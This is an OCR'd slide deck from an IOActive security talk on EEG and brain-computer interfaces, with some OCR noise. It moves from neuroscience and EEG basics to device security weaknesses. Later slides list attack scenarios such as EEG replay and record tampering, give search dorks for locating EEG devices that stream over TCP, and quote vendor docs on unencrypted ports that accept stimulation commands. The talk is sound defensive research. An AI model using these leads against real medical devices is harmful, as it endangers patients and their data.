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About me

« Senior Security Consultant at IOActive

* Fuzzing & programming enthusiast

« Computer systems engineer (not neuroscientist)
* Passionate about security (~12 years now)

« From Chiapas, Mexico
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Agenda

*  Why this talk?
* Neuroscience 101
« EEG / Brain Waves
* (In)security aspects
— Design
— Encryption
— Authentication
— Resilience
— The "Tower of Babel" of EEG file formats
— Misc
* Regulatory compliance / best practices for digital EEG

 Conclusion / further research IOAct'
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This Is NOT an invasive-BCl talk to
become Johnny Mnemonic
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Why this talk?

« Nowadays we mostly care about
— Computer/Network/Information security
— Mobile security
— ICS/SCADA security
— Car security
— loT security

— What about our biosignals?
» Any signal generated by our bodies
« EKG, EMG, MMG, MEG, EOG
« EEG (brain signals)

— Acquisition, storage, processing and
transmission

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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Why this talk?

 EEG tech is being adopted more and more

« Brain stuff is cool, specially in
— Cyberpunk movies
— Sci-Fi literature
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Neuroscience 101

« Cerebral cortex
— The outer layer

Axons and
dendrites from
various layers

To other
arts of
rain

Pyramidal cell

Dé;cendlng J_ MAoEL
nerve fibres

IOActive.
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Neuroscience 101

 Lobes

Primary somatic
sensory cortex

Primary motor cortex

Skeletal Motor association area

miisscle (premotor cortex and Parietal lobe | Sensory information
movement supplementary motor from skin,
cortex) Sensory musculoskeletal
association system, viscera,
. and taste buds

\ - Visual association

Frontal lobe area
Occipit — Vision
— Prefrontal aliohe,
association Visual cortex

ﬁm:;;‘n’f om Auditory association
other association e —Hearing
areas, controls Auditory cortex
some behaviors
Olfactory
Reasoning skills Smell s
Copyright © 2007 Pearson Education, Inc., publishing a5 Banjamin Cummings, Flg 9-15
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Neuroscience 101

* Neurons
— Electrically excitable cells

— Processes and transmits information through
chemical and electrical signals

Cell body

Telodendria

Axon hilm Synaptic terminals

b/ Golgi apparatus
Endoplasmic L
reticulum .
~
Mitochondrion Dendrite

AY
/ \Q Dendritic branches
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Neuroscience 101

*  Synapse
— The pass of chemical or electrical signal to another cell

I A .
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Neuroscience 101

The Effects of Drugs and Disease on Synaptic Transmission

NORMAL + CAFFEINE CAFFEINE

At synapses where adenosine is the
primary neurotransmitter, a high
postsynaptic firing rate leads to
sleepiness. Caffeine inhibits sleepiness
by inhibiting adenosine
neurotransmission.

Postsynaptic Neuron
Firing Rate Comparison

100% 40%
NORMAL +CAFFEINE

The Effects of Drugs and Disease on Synaptic Transmission
http://outreach.mcb.harvard.edu/animations/synapse.swf

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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Neuroscience 101

*  Want more?
— Google hint: “human brain is so complex”

— http://www.med.harvard.edu/AANLIB/

the whole
brain

IaS

Keith A. Johnson, M.D.

J. Alex Becker, Ph.D. I B [
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.,.



http://www.med.harvard.edu/AANLIB/

Neuroscience
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SPECT-Te
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Neuroscience 101

<no struct= -

amygdala
angularg
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{ anterior commissure

calcarine fissure
caudate body
caudate head
¢ callosum genu
c callosum splenium
central s

centrum semiovale
cerebral peduncle
collateral s

corona radiata

cuneus
fornix
fusiform g

- lobus pallidus
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EEG / Brain Waves

* |nvasive vs Non-invasive

Fig. 2.1 Different types of
sensors most commonly used
in BCI research. A:
Electrodes are placed
non-invasively on the scalp
(electroencephalography
(EEG)). B: Electrodes are
placed on the surface of the
brain (electrocorticography
(EC0G)). C: Electrodes are
placed invasively within the
brain (single-neuron
recordings). (From [112])

Schalk, Gerwin, Mellinger, Jirgen. (2010). A Practical Guide to Brain—
Computer Interfacing with BCI2000. General-Purpose Software for Brain-
Computer Interface Research, Data Acquisition, Stimulus Presentation,
and Brain Monitoring. 1t Edition. Springer-Verlag London.

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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EEG / Brain Waves

 |nvasive vs Non-invasive
— Invasive

How Brain-Computer Interfaces Work

How Brain-Computer Interfaces Work
©2007 HowStuffWorks

22007 HowStufWorks

Targst [ ] I8 patient mentally
visualizes the cursor

reaching the target
Electrode

Electrode
translates
v‘a Jsignal

9 The computer monitor
displays the interpreted
thought activity

/!

9 The brain activity
is interpreted by
computer software

IOA .
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EEG / Brain Waves

* |nvasive vs Non-invasive

— Invasive
« E.qg. BrainGate

R |
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http://www.braingate.com/press.html

EEG / Brain Waves

* Invasive vs Non-invasive
— Non-invasive: EEG is the most used non-invasive
method
« EEG (Electroencephalography)
— Electrodes on the scalp
* Not MRI (Magnetic Resonance Imaging)
* Not TMS (Transcranial Magnetic Stimulation)

o m—

IOActive.
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EEG / Brain Waves

e Whatis EEG?

— “Representation over time of the voltage generated by
electrodes recorded at different regions of the brain.
The EEG is produced by synaptic activity of cortical

neurons.”
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Krauss, G., Fisher, R., Kaplan, P. (September 1st, 2011). The Johns Hopkins
Atlas of Digital EEG: An Interactive Training Guide. 2nd Edition. Johns

|
Hopkins University Press. IOACtlve
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EEG / Brain Waves

e Whatis EEG?

— Ease of use non-invasive method to measure the brain
activity over time

— Susceptible to noise

IOActive.
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EEG / Brain Waves

 Whatis EEG?

— “The current brain technologies are like trying to
listen to a conversation in a football stadium from a
blimp” -- John Donoghue

Disruptions: Brain Computer Interfaces Inch Closer to Mainstream
http://bits.blogs.nytimes.com/2013/04/28/disruptions-no-words-no-gestures-

just-your-brain-as-a-control-pad/
I0Active, Inc. Copyright ©2015. All Rights Reserved.
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EEG / Brain Waves

« Brain waves / Freguencies

— EEG activity is quite small, measured in microvolts
(uV) with the main frequencies of interest up to
approximately 30 Hertz (Hz).

IOA .
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Physically and
mentally relaxed,
awake but drowsy

GAMMA

30 Hz and above Heightened perception <

I0Active, Inc. Copyright ©2015. All Rights Reserved.



EEG / Brain Waves

« Electrodes / Montages
— 10-20 System (Internationally recognized method)

10/20 System Electrode Distances

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M



EEG / Brain Waves

- Electrodes / Montages
— 10-20 System (Internationally recognized method)

-

MNasion

- Preauricular
Pyt point

. 9 n
I0Active, Inc. Copyright ©2015. All Rights Reserved. IOActlvem



EEG / Brain Waves

« ADC (Analog to Digital conversion)
— Brain Waves = Analog Signals
— Digital EEG = Digital Signals
 Filters and amplifiers in between

IOActive.



EEG / Brain Waves

« Sampling

SHz Sine
T

5 Hz wave

9 Hz sampling

L 1
0.5 06
Time (s)

7 Hz sampling

I I |
0.5 06 07
Tirre (5)

Gotman, J. Digital EEG - From Basics to Advanced Analysis. ™
Montreal Neurological Institute. McGill University. IOACtlve
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 Patterns / Artifacts

Fpl1-F7

F7-T7

T7-P7

P7-01

Fp2-F8

F8-T8

T8-P8

P8-02

EEG / Brain Waves

N 0 H s i 2
S0y “\}W ;
el N,
oo H HE
Vo i W iy 3
S M
oy . M
i H Tow 3
o e :
S0y "WVN\MJ A i
PR - 5
£ ' v m o
YD gl &
EARVE I PUa LWL LT S N
R

- |

R
S0uv H

v A

'
'
'
'
'
.
'
'
'
'
'

EKG

'
'
'
'
'
'
'
'
'
'
'
'
'

'

:

i ©2007 . Fron

I0Active, Inc. Copyright ©2015. All Rights Reserved.

IOActive.



EEG / Brain Waves

- Patterns / Artifacts
— E.g. Stages of sleep

Awake NREM sleep REM sleep

Stage 1 Stage 2 Stages 3 and 4

EEG »«mw\m\w\
High
[—]

Level of

consciousness ey R —
—_
Tonic REM
Low with periods of
Type of sleep Light Intermediate Slow-wave phasic activity

S0 minute cycles throughout the night

Nature Reviews | Immunology

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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EEG / Brain Waves

 Patterns / Artifacts

— Artifacts: EEG recording events not due brain activity
« Eye movement / fluttering
» Blinking
« Sweating
« Muscle movements
» Electrode shake
» Etc. etc. etc.

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M



EEG / Brain Waves

 Patterns / Artifacts

Atlas of .
FEG
PATTERNS

John M. Stern

IOActive.



EEG / Brain Waves

« Acquisition
— Commercial

e Clinical use

— Expensive hardware
(thousands of USD)

» Cheap hardware
— NeuroSky MindWave
— EMOTIV EPOC

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlvem




EEG / Brain Waves

« Acquisition
— Non-commercial
* OpenEEG
* OpenBCl

 Many open
source software

. . C —— -
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EEG / Brain Waves

« Acquisition
— Demo: Visualization of brain waves with
NeuroSky MindWave

Features

- Direct connect to dry electrode

- One EEG channel + Reference + Ground
- Extremely low-level signal detection

- Advanced filter with high noise immunity
- RAW EEG at 512Hz

Dimensions

- Size: 279cm x 1.52cm x 0.25¢cm

- Weight (Max) 130mg

Specifications

- 512Hz sampling rate

- 3-100Hz frequency range
I0Active, Inc. Copyright ©2015. All Rights Reserved.
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EEG / Brain Waves

 Uses EEG
— The importance of security

b b & IOA ct-
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EEG / Brain Waves

« Uses EEG
— Clinical

« “The EEG is perhaps most useful in the diagnosis and
classification of seizure disorders... EEGs can be
focally abnormal even in the absence of visible change on
an MRI... Sleep disorders include narcolepsy, sleep
apnea, various parasomnias, and several other
conditions. Narcolepsy can be diagnosed by a
combination of clinical history and EEG showing rapid
descent into rapid eye movement (REM) sleep.”

Krauss, G., Fisher, R., Kaplan, P. (September 1st, 2011). The Johns Hopkins
Atlas of Digital EEG: An Interactive Training Guide. 2nd Edition. Johns

n
Hopkins University Press. I A IV
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EEG / Brain Waves

« Uses EEG
— Clinical

« Demo: EEG recording synchronized with video of a
patient suffering a seizure

Browser - [DV2 (Read-Only)]

&7 Reviewin g DV2 (Read-Only)

View Play Help

4 o ik b W
AT e PSR WA LA R g w i j
“ I "‘ “\“ m“'{‘ ey 1’ ol w | il ! | ‘
11:40:03
Mentage: 1010-Krauss Ti 11:40:03 Ti le: 15 mm/s Time ling interval: 1.0 s IV
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™



EEG / Brain Waves

« Uses EEG

— Research
* Clinical research

AMLA Annu Symp Proc. 2013; 2013: 681-700. PMCID: PMC3500211
Published online 2013 Nov 18

Cloudwave: Distributed Processing of “Big Data” from Electrophysiological
Recordings for Epilepsy Clinical Research Using Hadoop

Catherine P. Jayapandian, BS," Chien-Hung Chen, BS." Alireza Bozorgi, MD.% Samden D. Lhatoo, MD, FRCR?
Guo-Qiang Zhang, PhD," and Satya 5. Sahoo, PhD'

Author information » Copyright and License information

This article has been cited by other articles in PMC.

Abstract Go to:

Epilepsy is the most common serious neurological disorder affecting 30-00 million persons worldwide.
Multi-modal electrophysiological data, such as electroencephalography (EEG) and electrocardiography
(EKG), are central to effective patient care and clinical research in epilepsy. Electrophysiological data is
an example of clinical “big data’ consisting of more than 100 multi-charmel signals with recordings from

http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3900211/
I0Active, Inc. Copyright ©2015. All Rights Reserved.
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EEG / Brain Waves

* UsesE EG A Closed-Loop Brain-Computer Interface Triggering an

— Research Active Ankle-Foot Orthosis for Inducing Cortical
Neural Plasticity

Ren Xu, Ning Jiang, Natalie Mrachacz-Kersting, Chuang Lin, Guillermo Asin Prieto, Juan C. Moreno,
Jose L. Pons, Kim Dremstrup, and Dario Farina, University Medical Center Géttingen, Georg-August
University, Dalian University of Technology, Aalborg University, and Consejo Superior de

Investigaciones Cientificas

Volume 61, Issue 7, Page:2092-2101

%

http://tbme.embs.org/2014/07/27/closed-loop-brain-computer-interface-triggering-active-ankle-foot-

n
orthosis-inducing-cortical-neural-plasticity/ IOACtlve
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EEG / Brain Waves

« Uses EEG
— Research

The Arduino Prosthesis Using the Neurosky Mindwave

Inspiration Author: Shiva Nathan

The Arduino Prosthesis is a low cost Prosthetic, a Brain Control Interface (BCI) device that can be
fitted on to amputees’ limbs. Mind-Waves - or more precisely the ability of the mind to focus and to
concentrate - controls the Prosthetic. This is accomplished by using an inexpensive EEG (Electro-
Encephalo-Gram)reader that can be worn on the head,like a pair of headphones using a headband.This
external device is in contrast to current expensive devices that require an implanted electrode in the

arm or leg and require training for effective usage. Also, some of the more expensive prosthetics
require myo-electric impulses to control the actuators.

http://learn.parallax.com/inspiration/arduino-prosthesis-using-neurosky-mindwave
I0Active, Inc. Copyright ©2015. All Rights Reserved.
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EEG / Brain Waves

« Uses EEG

— Research
 B2B - Brain-to-Brain Interface

= EEG Recording of
Brain Activity

Brain 1 (“Sender”)

=

: (sees target, decides to fire cannon)

1 | Hand motor

1 1 imagery

l : —————————————— -- detected

1

: W Brain S"”.““""T‘tﬁg @ Brain 2 (“Receiver”)
1 B9 (stimulation moves
: > the hand to press

I T the key)

http://www.kurzweilai.net/first-human-brain-to-brain-interface
I0Active, Inc. Copyright ©2015. All Rights Reserved.
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EEG / Brain Waves

e Uses EEG

— Research
 B2B - Brain-to-Brain Interface

First human brain-to-brain interface

August 28, 2013

University of Washington researcher Rajesh Rao, left, plays a computer game with his mind. Across campus, researcher Andrea Stocco,
right, wears a magnetic stimulation coil over the left motor cortex region of his brain. Stocco’s right index finger moved involuntarily to hit the
“fire” button as part of the first human brain-to-brain interface demonstration. (Credit: University of Washington)

http://www.kurzweilai.net/first-human-brain-to-brain-interface

I0Active, Inc. Copyright ©2015. All Rights Reserved.

IOActive.


http://www.kurzweilai.net/first-human-brain-to-brain-interface

EEG / Brain Waves

e Uses EEG

— Research 43
* Babylab Research Centre 2.

»

/." S f
P ﬂ

: ]
http://www.wired.co.uk/magazine/archive/2013/03/start/this-little-piggy-went-to-the-lab IOACtIVe
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EEG / Brain Waves

e Uses EEG

— Research

» Controlling stuff
with mind waves

Brain-controlled drone

shown off by Tekever in
Lisbon

=
http://www.bbc.com/news/technology-31584547 IO ACtIve
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EEG / Brain Waves

e Uses EEG

— Research

» Controlling stuff
with mind waves
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EEG / Brain Waves

e Uses EEG

— Security
e Biometric

Thanks to researchers at the UC Berkeley School of Information, you may not need to type those
pesky passwords in the future. Instead, you'll only need to think them.

By measuring brainwaves with biosensor technology, researchers are able to replace
passwords witﬂ"passthoughts" for computer authentication.lh $100 headset wirelessly WHAT cou ln

connects to a computer via Bluetooth, and the device's sensor rests against the user's forehead,

providing a electroencephalogram (EEG) signal from the brain. PnSSIBlv Gn

Other biometric authentication systems use fingerprint or retina scans for security, but they're

often expensive and require extensive equipment. The NeuroSky Mindset looks just like any other wnnua ?!
Bluetooth set and is more user-friendly, researchers SEI}".IBFEHFIWEIUES are also unigue to each
individual, so even if someone knew your passthought, their emitted EEG signals would be

different. |
n
http://mashable.com/2013/04/09/passwords-thoughts/ Io ACtlve
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™



http://mashable.com/2013/04/09/passwords-thoughts/

EEG / Brain Waves

e Uses EEG

— Security
Researchers studying brain activity to determine
cybersecurity threats

By Julie Ferrell
Staff Writer
fferrell@amestrib.com

Three lowa State University researchers have studied brainwaves as a way to
indicate employees who may be at the highest risk of becoming a
cybersecurity threat.

Qing Hu, Union Pacific Professor in information systems, along with assistant
professor of marketing Laura Smarandescu and Robert West, professor in
psychology, published the findings in the Journal of Management Information
Systems.

Based on brain activity, the team found test subjects with lower self-control
were more at risk of giving away secure company information.

Hu said roughly half of the cybersecurity incidents in the last year came from
internal employees, and even external threats occasionally involved an
employee unintentionally releasing information through instances like

responding to spam emails. ™
http://amestrib.com/news/researchers-studying-brain-activity-determine-cybersecurity-threats IOACtIVe
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™



http://amestrib.com/news/researchers-studying-brain-activity-determine-cybersecurity-threats

EEG / Brain Waves

« Uses EEG
— Military

http://defensetech.org/2015/08/07/translating-

soldier-thoughts-to-computer-commands/
I0Active, Inc. Copyright ©2015. All Rights Reserved.

Translating Soldier Thoughts to
Computer Commands

I =B = BE s

n
The Army Research Laboratory is funding research that would enable troops to IOActlve

communicate via a cellphone or radio without uttering a sound or moving a finger.


http://defensetech.org/2015/08/07/translating-soldier-thoughts-to-computer-commands/

EEG / Brain Waves

e Uses EEG
— Military
JEAN VETTEL: ARMY RESEARCH LAB TECHNOLOGY SEEKS TO
DETECT BATTLEFIELD THREATS VIA BRAIN WAVES

Researchers at the U.S. Army Research Laboratory have demonstrated a headgear

equipped with electroencephalography sensors they designed to detect threats on
the battlefield wia the wearer's brain waves, the Army said May 15.

Dr. Jean Vettel, a neuroscientist at the research lab, said the brain wave detection
technology could be used by soldiers to tag threatening images from a collection of
digital pictures captured by robotic assets on the battlefield without clicking a
button or saying a word, C_ Todd Lopez wrtes.

“And then when we have images labeled, we can take those images and give it to almachine learning algorithm |
Ithat can learn to distinguish between threatening or non-threatening imagesl' Vettel said at the Defense

Department Lab Day event May 14.

http://www.executivegov.com/2015/05/jean-vettel-army-research-lab-technology-seeks-to-detect- ]
battlefield-threats-via-brain-waves/ IOACtlve
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™
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EEG / Brain Waves

e Uses EEG

— Neurofeedback
« MUSE headband for relaxation

Z ¥
-l o . £
. ‘ n
http://www.choosemuse.com I ACtlve
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™


http://www.choosemuse.com/

EEG / Brain Waves

e Uses EEG

— Neurofeedback + Art
« Environmental Disturbances by Anni Garza Lau

4 o —
http://annigarzalau.com/anni-garza-lau--environmental-disturbances.html

ey B 1 irsiie [l -~ -5
I0Active, Inc. Copyright ©2015. All Rights Reserved. Ctlve.,.
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EEG / Brain Waves

« Uses EEG

— Art
 Music created with Brainwaves

F

- = .
http://thecreatorsproject.vice.com/blog/eunoia-seeking-enlightenment-by-tracking-brainwaves I A IV
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EEG / Brain Waves

« Uses EEG
— Others

Brain scan delays sentencing hearing for convicted murderer in

Brooksville

BROOKSVILLE — Murderer Byron Burch's sentencing has been
delayed until late July afterfhis defense ordered a new scan of
[Burch's brain, catching the prosecution off guard.

Burch was convicted of
first-degree murder last
week in the 2010 killing of
Sarah Davis, a retired
Brooksville teacher and
community matriarch.

He faces either life in
prison without the
possibility of parole or the
death penalty.

Byron Burch

The defense originally
utilizedla method called quantitative electroencephalographylto

http://www.tampabay.com/news/courts/brain-scan-delays- map Burch's brain activity. However, the state raised concerns -
sentencing-hearing-for-convicted-murderer-in-brooksville/2233777  about the scan’s reliability, and the court ruled it inadmissible. Io Actlve
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™
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EEG / Brain Waves

« Uses EEG

— Others
* NeuroGaming

n
http://www.neurogamingconf.com IOACtlve
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EEG / Brain Waves

« Uses EEG

— Others
* NeuroMarketing

DON'T-JUST
MARKET.

K NEYROMARKET.

Ay
. N
\‘ » .
o IOACtlve
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EEG / Brain Waves

« Uses EEG
— Others

Blockbuster or Bust? Brain Waves
May Predict Movie Success

by Rachael Rettner, Senior Writer | March 10, 2015 08:01am ET

The researchers then looked at the EEG data on certain brain waves,
called beta and gamma waves. Results showed that the beta brain
waves were linked with people's rankings of the movies:l he more beta
wave brain activity there was as a participant watched a movie, the
higher that individual ranked the movie.

http://www.livescience.com/50092-brain-waves-movie-

success.html
I0Active, Inc. Copyright ©2015. All Rights Reserved.
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People's brain waves may reveal
which movies they like, and even
predict which movies will do well
at the box office, a new study
suggests.

In the study, researchers had 32
college students watch 18 movie
trailers each; the students had
electrodes placed on their scalps
to measure their brain waves, a
test known as
electroencephalography, or EEG.

After they watched each trailer, the participants were asked to rate how
much they liked the movie and how much they'd be willing to pay for a
DVD of it. After viewing all 18 trailers, the participants were asked to
rank the movies in order of preference. [10 Things You Didn't Know

IOActive.
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EEG / Brain Waves

e Uses EEG

— Others
 Neurowear

shippo-§

http://www.neurowear.com
I0Active, Inc. Copyright ©2015. All Rights Reserved.
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EEG / Brain Waves

e Uses EEG
— Others

"EEG DATING” MATCHES PEOPLE BASED ON THEIR
BRAINWAVE DATA

=
http://neurogadget.com/2015/02/14/eeg-dating-matches-people-based-brainwave-data IO ACtlve
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EEG / Brain Waves

e Uses EEG
_ Neuroscience Gets Radical: How to
Others Study Surfers' Brain Waves

By Eliza Strickland

Posted 28 Oct 2014 | 13:00 GMT
[%] Share [Z)Email = =) Print =~ [& Reprint

Photo: Red Bull

At Red Bull's surf camp in Salina Cruz, Mexico, Jake Marshall surfed for science n
http://spectrum.ieee.org/tech-talk/biomedical/imaging/neuroscience-gets-radical-how-to-study-surfers-brain-waves IO ACtlve
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EEG / Brain Waves

e Uses EEG

— The Cloud
* Neuroelectrics’ NUBE

NEOO6

ENOBIO 32

Enobio® is a wearable, wireless electrophysiology sensor system for the recording of
EEG. Using the superb Neuroelectrics Cap, Enobio 32 is ideal for high-density recording
research applications. It comes integrated with an intuitive, powerful user interface for
easy configuration, recording and visualization of 24 bit EEG data at 500 S/s, including
Spectrogram and 3D visualization in real time of spectral features/It is ready for
research or clinical use as well as telemedicine using our NUBE cloud system for
experimental data collection and organization.[in addition to EEG, triaxial accelerometer
data is automatically collected. You can also use a microSD card to save data offline in
Holter mode. Enobio is a CE medically certified product. It is currently classified as an
investigational device under US federal law.

o IOACcti
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlvem




EEG / Brain Waves

- Uses EEG

— The Cloud
« Neuromore

|
CONNECTING MIND AND BODY T
‘1 EVERYTHING

\1\1\1\1\;‘ “HHHHMHHHHHHHHHI\‘ | IIIIIIIIIIII?IIIIIIIIIIIIMIIII_. iy HM |

i capture and use biodata in realtime for rapid
innovation, insights and experiences
H”H”””Hl\uum
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T

http://www.neuromore.com
I0Active, Inc. Copyright ©2015. All Rights Reserved.
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(In)security Aspects

« Attack scenarios

— Reply attacks with saved EEG data to
« Control things
— Drones
— Prosthesis
— Etc.
« Bypass authentication

— Unauthorized update of EEG data from a eriminal patient in
a hospital network

— Trade of EEG data for behavior analysis in neuromarketing
— Client-side attacks on doctors/physicians’ computers with

malicious EEG (meta)data .
I0Active, Inc. Copyright ©2015. All Rights Reserved. IOActlvem




(In)security Aspects

« Attack scenarios

— Hard to achieve

» Understand the environment

— The EEG technology in use. Product X !'= Product Y
« Understand the protocols in use, if any
« Understand the file formats in use
« Special expertise required

— Electroencephalography

» What EEG data to modify, how and where

— Feasible, though
« See the following demos

I A .
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.,.



(In)security Aspects

* Design
— Some of them include security

TWin Monitor 2 Remote Control/Viewing Software
installed on any record or review station uses standard
TCP/IP protocols to broadcast in-lab, in-hospital or over
the internet.

After logging in, an image of the TWin Monitor host
screen is broadcasted to the viewing computer. To the
remote user TWin will operate the same as if it was
installed on the remote PC.

TWin Monitor 2 uses encryption and authentication for
information that travels over the network, which is an
added benefit to comply with HIPAA regulations

Allows the user to:

= Remote view EEG/PSG data over the local area network
or over the WWW.

» Remote view the same recording system from different
locations.

« Remote control and operate the EEG/PSG/LTM
recording system (record or review).

= Score PSG records from home or other locations.
ORDERING INFORMATION TWin Monitor 2 Viewer
Model TWin Monitor 2 Remote

TWINMON-CD Control/Viewing Software Io Act'
I0Active, Inc. Copyright ©2015. All Rights Reserved. Ivem




(In)security Aspects

* Design
— Some of them include security

« Neuromore

— E.g Biodata to the cloud
through a SSL channel

R IOActive

I0Active, Inc. Copyright ©2015. All Rights Reserved.



(In)security Aspects

« Design
— However, no security keywords
« 'secur’, ‘crypt’, ‘auth’, 'passw’, etc.
* In 90% of the reviewed
— Manuals
— Technical specs
— Brochures

IOActive.
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(In)security Aspects

Encryption

— In Transit
« Brain waves on the wire: Digital streaming over TCP/IP

WHAT GOULD
POSSIBLY GO
WRONG 2!

Brain-to-brain communication at work. Imnge: PLOS One
, E
I A .
I0Active, Inc. Copyright ©2015 . All Rights Reserved . ctlvem



(In)security Aspects

« Encryption

— In Transit
« Brain waves on the wire: Digital streaming over TCP/IP
— Google dorks:
» +<product_name> +tcp +port
» Neuro acquisition +tcp +port
» +eeqg +icp

IOA .
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M



(In)security Aspects

* Encryption

— In Transit
« Brain waves on the wire: Digital streaming over TCP/IP
II!AIII@ISIIIH
professao.'mIR E CVI Ew

BrainVision RecView:
Software for real-time data analyses

BrainVision RecView is an advanced solution designed for real-time analysis of data received
over the Ethernet network via TCP/IP directly from the Recorder software. BrainVision

RecView is widely used in the EEG/fMRI co-registration to remove both the gradient and the
ballistocardiogram artifact permitting experimental control during the scan. The innovative
Template Drift Compensation algorithm remedies template jitter caused by imperfect
synchronization between the EEG amplifier and the scanner clock and thus ensures

optimal data correction at any time. IOAct'
I0Active, Inc. Copyright ©2015. All Rights Reserved. Ive,M



(In)security Aspects

« Encryption

— In Transit

« Brain waves on the wire: Digital streaming over TCP/IP
Measure biosignals reliably even outside in the Himalayas

g.MOBllab+ In the HimalayasDuring an Austrian expedition to Chulu Far West in Nepal (6419 m)

g.MOBllab+ was used to measure the effect of high altitude on the EEG and ECG parameters.

The expedition started in Besi Sahar at an altitude of 700 m near Annapurna |. The team gained

each day a height between 300 and 600 m and settled basecamp at 4800 m. After one night in BC

the highcamp was established in 5600 m on the Chulu glacier. At 3 p.m. in the morning the team

started to climb Chulu Far West (right picture) and reached the summit at 11 a.m. g.MOBllab+

was used to record 2 EEG channels over the sensorimotor areas and 1 ECG channel of 2 expedition members. The persons
performed a self-paced finger movement every 10 seconds.The on-set and off-set of the movement was recorded by an
external switch connected to g MOBIllab.

EEG and ECG data recording at the Dachstein glacier

g.MOBllab at Dordic Fitness Days - DachsteinAt the 2003 Nordic Fitness Days at the Dachstein gf
glacier organized by the Planaibahnen from October 24th-26th g.MOBIlab+ was tested in
measuring EEG and ECG data of skiers and mountaineers going up the Dachstein summit with
the cable car. The study was part of the research program of the ARGE Alpinmed. A total of 50
data sets were acquired within 3 days. Data recordings started at a base station in 1200 m. Then
physiological data of subjects were measured in the cable car and at the top station in 2700 m.
The subjects had to perform a stimulus-reaction paradigm in order to test the reliability of —

g.MOBllab+ under bad weather and field conditions. In all 50 sessions data quality was excellent and even EEG data n
displayed high signal-to-noise ratio. I A IV
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™




(In)security Aspects

* Encryption

— In Transit
« Brain waves on the wire: Digital streaming over TCP/IP

Excellent data quality

g.MOBllab+ data in g.BSanalyzeg MOBIlab+ is equipped with low-noise biosignal :
amplifiers and a 16-bit A/D converter (256 Hz) which guarantees excellent data quality g
and a high signal-to-noise ratio. For sophisticated data analyses g.MOBllab-data can be
imported directly into g.BSanalyze, the toolbox for advanced biosignal processing and
analyses.

=

Data can also be converted into ASCllformat for other programs like MS-Excel or foreign
toolboxes. = = e e ] 1' "“_|

Remote control of g.MOBIllab+

Ig.MOE}IIah+ can also be remote controlled over a TCP/IP network.|Just plug g.MOBllab+ to the g.tec Remote Contral Unit
and connect it to a standard network connection] g MOBIlab+ will be visible on every ather PC in the network{and can be

used as connected to the own PC. I n m
I0Active, Inc. Copyright ©2015. All Rights Reserved. Ctlvem




(In)security Aspects

« Encryption

— In Transit
 Case: Neuroelectrics NIC

Sending commands to NIC

—_— — —_— /

MNIC can be remotely commanded from a third-party software through a set of commands that NIC responds to those commands with a set of status commands to indicate whether the

can be sent using a TCP/IP connection. NIC listens to the TCP/IP port 1235 for incoming commands are successfully processed, the stimulation is ready to be started and so on. The
connections. The clients that connect to that port can command the following actions: following table shows all the possible status value that NIC might send.

I R —— === s —sesee—e—e—e—e—— s  — === me———————eeee e Ay
E | Aection | Dewvice | ' E | Status | Device | '
b [ === ST — s ———— e | I e === ittt |
. | Start EEG streaming | Enobio & StarStim | 1 | Remote control allowed | Enobio & StarStim | ]
E | S5top EEG streaming | Enobin & StarStim | E . | Remote control rejected | Enobia & StarStim | E
E | Start Stimulation | StarStim | : E | Device i=s idle | Enobio & StarStim | :
E | &bkort Stimulation | StarS5tim | E | EEG =streaming is ON | Enobia & StarStim |
+ | Online tACS Frequency Change | StarStim | ] ' | EEG streaming is OFF | Enckioc & StarStim | H
E | Cnline tACS Amplitude change | StarStim | E . | Template not loaded | StarStim | E
E | Online tDCS5 Amplitude change | StarS5tim | E : | Template loaded | StarStim | E
E | Load template | StarS5tim | ' E | Stimulation i=s ready to be started | StarStim | '
| Reguest =tatus | Enobio & StarStim | ] : | Stimulation iz ON | StarStim | d
D\ ee N e / | | Stimulation is OFF | StarStim |

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M


http://www.neuroelectrics.com/products/software/nic/

(In)security Aspects

Encryption

— In Transit
 Case: Neuroelectrics NIC

IOActive.
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(In)security Aspects

« Encryption

— In Transit

« Case: Neuroelectrics NIC
Receiving data streams from NIC

Receiving data streams using TCP/IP

The MNIC software has a TCP/IP server that streams the EEG data received from Enobio. Up to & clients can connect to that server
simultaneously in order to receive the EEG data ans perform the desired operations in real time.

The software clients that want to receive the EEG data in real time from MNIC need to connect to the TCP/IP port 1234 of the host
where the NIC software is running. Once the client software is connected to the semver, it will receive the EEG data streaming
according to the following format:

_____________________________________________________________________________________________________________________________

| (MSB) Bvte#l | Bvte#2? | Byte#3 | (LSB) Bvte#d4 | ... | Byvte#l | Byte#Z | Byvte#3 | Bvte#d |

e ——— |OActive

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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(In)security Aspects

* Encryption

— |In Transit
e Case: LabStreaminglLayer

The lab streaming layer (LSL) is a system for the unified collection of measurement time series in
research experiments that handles both the networking, time-synchronization, (near-) real-time access

as well as optionally the centralized collection, viewing and disk recording of the data.
The LSL distribution consists of:

e The core transport library (liblsl) and its language interfaces (C, C++, Python, Java, C#, MATLAB).
The library is general-purpose and cross-platform (Win/Linux/MacOS, 32/64) and forms the heart
of the project.

« A suite of tools built on top of the library, including a recording program, online viewers, importers,
and apps that make data from a range of acquisition hardware available on the lab network (for

example audio, EEG, or motion capture). IOAct'
I0Active, Inc. Copyright ©2015. All Rights Reserved. Ive,M


https://github.com/sccn/labstreaminglayer

(In)security Aspects

« Encryption

— In Transit

« Case: LabStreamingLayer
o labstreaminglayer

Distributed signal transport, time synchronization and data collection system for research

Project Home Downloads Wi lssues Source Exportto GitHub

Search Current pages - for Search
PageName v Summary + Labels v
MNeuroscan Using the Meuroscan app to stream EEG data.
